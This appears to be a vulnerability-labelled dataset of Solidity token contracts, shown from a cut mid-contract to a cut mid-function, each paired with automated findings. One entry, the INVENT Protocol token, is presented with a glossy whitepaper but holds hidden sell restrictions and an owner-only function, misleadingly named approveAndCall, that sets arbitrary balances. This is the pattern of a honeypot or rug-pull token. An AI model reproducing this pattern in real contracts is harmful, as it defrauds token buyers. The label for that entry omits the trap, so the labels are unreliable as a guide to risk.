* @dev 积分转账：在合约未暂停时，由合约使用者msg.sender，向_to转入_value数量的积分
* @param _to 转入地址 _value 积分数量
* @return bool 是否转账成功
*/
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev 余额查询：查询_account地址的积分余额
* @param _account 积分账户地址
* @return uint256 积分余额
*/
function balanceOf(address _account) public view returns (uint256) {
return balances[_account];
}
/**
* @dev 授权额度：在合约未暂停时，由合约使用者msg.sender，向_spender授权_value数量积分额度
* @param _spender 被授权地址 _value 授权额度
* @return bool 是否授权成功
*/
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
require(_spender != address(0));
require(_value < totalSupply_);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev 授额转账：在合约未暂停时，由合约使用者msg.sender，从_from向_to转入_value数量的积分，转账数量不能超过_from的授权额度和余额
* @param _from 授额地址 _to转入地址 _value 积分数量
* @return bool 是否转账成功
*/
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev 查询授额：查询由_owner向_spender授权的积分额度
* @param _owner 授权地址 _spender 被授权地址
* @return uint256 授权额度
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev 增加授额：在合约未暂停时，由合约使用者msg.sender向_spender增加_addValue数量的积分额度
* @param _spender 被授权地址 _addedValue 增加的授权额度
* @return bool 是否增加授额成功
*/
function increaseApproval(address _spender, uint256 _addedValue) public whenNotPaused returns (bool success) {
require(_spender != address(0));
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev 减少授额：在合约未暂停时，由合约使用者msg.sender向_spender减少_subtractedValue数量的积分额度
* @param _spender 被授权地址 _subtractedValue 减少的授权额度
* @return bool 是否减少授额成功
*/
function decreaseApproval(address _spender, uint256 _subtractedValue) public whenNotPaused returns (bool success) {
require(_spender != address(0));
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev 暂停合约：只有合约所有者能使用，在合约未暂停时，暂停合约
*/
function pause() onlyOwner whenNotPaused public returns (bool) {
paused_ = true;
emit Pause();
return true;
}
/**a
* @dev 重启合约：只有合约所有者能使用，在合约暂停时，重启合约
*/
function unpause() onlyOwner whenPaused public returns (bool) {
paused_ = false;
emit Unpause();
return true;
}
} | No vulnerabilities found |
/**
*Submitted for verification at Etherscan.io on 2022-04-05
*/
/*Welcome to the INVENT Protocol
Here you will find all the information regarding the INVENT Protocol and it's progress. The documentation focuses on the token-economics for
the INVENT Protocol and dives deep into the network's flagship application, INVENT. You can use the following resources to keep up to date
with the INVENT Protocol.
MISSION
Our mission is to build an ecosystem of interconnected applications that put power back into the hands of users by giving them full control over
their content, data, and personal networks. Developers can connect via an API to instantly gain access to millions of users and incentivize them
to try their product by paying with a token. The INVENT app is the flagship application of this interconnected ecosystem of apps built using AI,
graph and blockchain technologies. On a path to comply with the strictest privacy and consumer protection laws, we’re creating a solution to
contemporary cyber security problems by developing a cutting edge privacy solution that’s fit for the 21st century.
Vision
The best recognizable effect, we feel, is when members enter the market and decide to remain. It will be overwhelming for novices to the decentralized
organic framework. We emphasize cultivating a stage that will construct an emblematic astronauts' adventure experience while additionally giving
decentralized and passive income features that will entice newcomers to stay, whether as dealers or stage customers. Our foundation intends to
be risk free by providing a secure or trustworthy environment.
STORY
We are building tools that strengthen the collaboration between communities and developers.The resulting synergy will spawn experiential and
monetization opportunities the likes we have never witnessed. By making trustless (trust-based) monetization tools accessible, and removing
obstacles to user adoption, INVENT Protocol is accelerating this novel synergy. We believe that personal data should remain in control of those
it belongs to. Earning revenue from your content, audience or data shouldn’t be an afterthought, it should be a given and a central part of a true
digital economy.
Introducing the INVENT App
INVENT is NFT Creator And Marketplace App! INVENT provides an easy and fast way to mint NFTs on various blockchains like Ethereum, Polygon
and Binance Smart Chain! Connect Instagram and create NFTs out of your Instagram pictures! Buy exclusive NFTs in the app marketplace. Create
your NFTs and sell them on marketplaces like OpenSea, Rarible and SuperRare.
NFT stands for non-fungible token, which basically means that it's a one of a kind digital asset that belongs to you and you only.
It is an easy way to monetize your digital assets and sell them in an evergrowing market. The INVENT App is the first app to run on the INVENT
Protocol. The INVENT App reward system encourages growth across the App.
Through the INVENT App members can:
• Earn INVENT token for using the app regularly and performing challenges.
• They can transfer INVENT token to other members.
• INVENT token can, and must, be used to purchase NFTs on the App.
• These tokens can be used to purchase specific NFT’s on the apps that allow INVENT token
as a method of payment, purchase exclusive merchandise and digital content by INVENT app, and convert to the main INVENT token.
Tokenomics
The INVENT Protocol’s native token, the INVENT token, will have an capped supply. The finite supply of the INVENT token is 500,000,000 tokens.
Each dapp on the INVENT Protocol will receive a supply of INVENT token to reward members and handle transaction fees based on how it contributes
to the member, engagement and transaction growth of the Network.
Developer Ecosystem Fund
The first thing the Developer Ecosystem fund will be used for is allowing current users of the INVENT app to design their NFT. With INVENT being
the flagship application of the network, we believe it is important to reward long-term users of the application that have helped kick start the network.
The fund will also be used to issue grants to other projects that help push the INVENT Protocol’s long-term utility objectives. Initiatives will be outlined
though contracts that when achieved, the grant will be issued.
Governance
The INVENT Protocol plans to have its own parachain slot under Ethereum in the future. With that being said, The INVENT Protocol will adopt Ethereum's
Governance mechanism.In the simplest terms any upgrades to the network that are proposed by either the token holders (public) or the council will
have to go through a referendum. This allows all holders to have a vote, which is done by the weighted by stake method, to voice how they feel about
the proposed upgrade/change to the network.
Liquidity Incentivization Program
We at the INVENT Protocol understand the importance of adequate liquidity when launching a token. To encourage contribution to liquidity pools, we
will allow you to stake INVENT token LP (Liquidity Pool) tokens! The INVENT Protocol has set aside 5% of the INVENT token supply (25,000,000 tokens)
for rewarding individuals who stake their LP tokens.
Liquidity Incentivization Program.
We will accept LP tokens from liquidity swap pool providers. Rewards will be given out monthly and the program will be active for 2 years. Early contributors
will be rewarded the most as the quantity of tokens given out as rewards will decrease in the future. A full schedule of token rewards will be available in the
INVENT Protocol documentation soon. Along with the staking rewards given directly from the INVENT Protocol, you may also earn a portion of trading fees.
For example, on UniSwap, liquidity providers earn a 0.25% fee on all trades proportional to their share of the pool. Fees are added to the pool, accrue in real
time, and can be claimed by withdrawing your liquidity. When combining trading fees and LP token staking rewards, the total rewards can be very enticing.*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract INVENTProtocol {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | These are the vulnerabilities found
1) uninitialized-state with High impact
2) locked-ether with Medium impact |
pragma solidity ^0.4.18;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint256 _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint256 previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool ok){
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value)
public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
}
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract LockedToken is owned, TokenERC20, SafeMath {
struct TokenLocked {
uint256 amount;
uint256 startDate;
uint256 lastDate;
uint256 batches;
}
mapping (address => TokenLocked) internal lockedTokenOf;
mapping (address => bool) internal isLocked;
modifier canTransfer(address _sender, uint256 _value) {
require(_value <= spendableBalanceOf(_sender));
_;
}
function LockedToken (
uint256 initialSupply,
string tokenName,
string tokenSymbol
)TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
function transfer(address _to, uint256 _value)
canTransfer(msg.sender, _value)
public
returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value)
canTransfer(_from, _value)
public
returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
function transferAndLock(
address _to,
uint256 _value,
uint256 _startDate,
uint256 _lastDate,
uint256 _batches)
onlyOwner public {
//doLock
require(_to != 0x0);
require(_startDate < _lastDate);
require(_batches > 0);
TokenLocked memory tokenLocked = TokenLocked(_value, _startDate, _lastDate, _batches);
lockedTokenOf[_to] = tokenLocked;
isLocked[_to] = true;
//doTransfer
super.transfer(_to, _value);
}
function spendableBalanceOf(address _holder) constant public returns (uint) {
return transferableTokens(_holder, uint64(now));
}
function transferableTokens(address holder, uint256 time) constant public returns (uint256) {
TokenLocked storage tokenLocked = lockedTokenOf[holder];
if (!isLocked[holder]) return balanceOf[holder];
uint256 amount = tokenLocked.amount;
uint256 startDate = tokenLocked.startDate;
uint256 lastDate = tokenLocked.lastDate;
uint256 batches = tokenLocked.batches;
if (time < startDate) return 0;
if (time >= lastDate) return balanceOf[holder];
//caculate transferableTokens
uint256 originalTransferableTokens = safeMul(safeDiv(amount, batches),
safeDiv(
safeMul(safeSub(time, startDate), batches),
safeSub(lastDate, startDate)
));
uint256 lockedAmount = safeSub(amount, originalTransferableTokens);
if (balanceOf[holder] <= lockedAmount) return 0;
uint256 actualTransferableTokens = safeSub(balanceOf[holder], lockedAmount);
return actualTransferableTokens;
}
function lastTokenIsTransferableDate(address holder) constant public returns(uint256 date) {
date = uint256(now);
if (!isLocked[holder]) return date;
TokenLocked storage tokenLocked = lockedTokenOf[holder];
return tokenLocked.lastDate;
}
function () payable public {
revert();
}
} | These are the vulnerabilities found
1) weak-prng with High impact
2) incorrect-equality with Medium impact
3) locked-ether with Medium impact |
pragma solidity 0.4.18;
// ----------------------------------------------------------------------------
// 'EtherOcrend' token contract
//
// Deployed to : 0x5A86f0cafD4ef3ba4f0344C138afcC84bd1ED222
// Symbol : ETHO
// Name : EtherOcrend
// Total supply: 100000000000000000000000000
// Decimals : 4
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract EtherOcrend is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function EtherOcrend() public {
symbol = "ETH0";
name = "EtherOcrend";
decimals = 4;
_totalSupply = 100000000000000000000000000;
balances[0x5b1dF553f6BD9A3CFcD2a85e4627805268E84c39] = _totalSupply;
Transfer(address(0), 0x5b1dF553f6BD9A3CFcD2a85e4627805268E84c39, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity 0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
/// Total amount of tokens
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _amount) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success);
function approve(address _spender, uint256 _amount) public returns (bool success);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
//balance in each address account
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _amount The amount to be transferred.
*/
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(_to != address(0));
require(balances[msg.sender] >= _amount && _amount > 0
&& balances[_to].add(_amount) > balances[_to]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _amount uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
require(_to != address(0));
require(balances[_from] >= _amount);
require(allowed[_from][msg.sender] >= _amount);
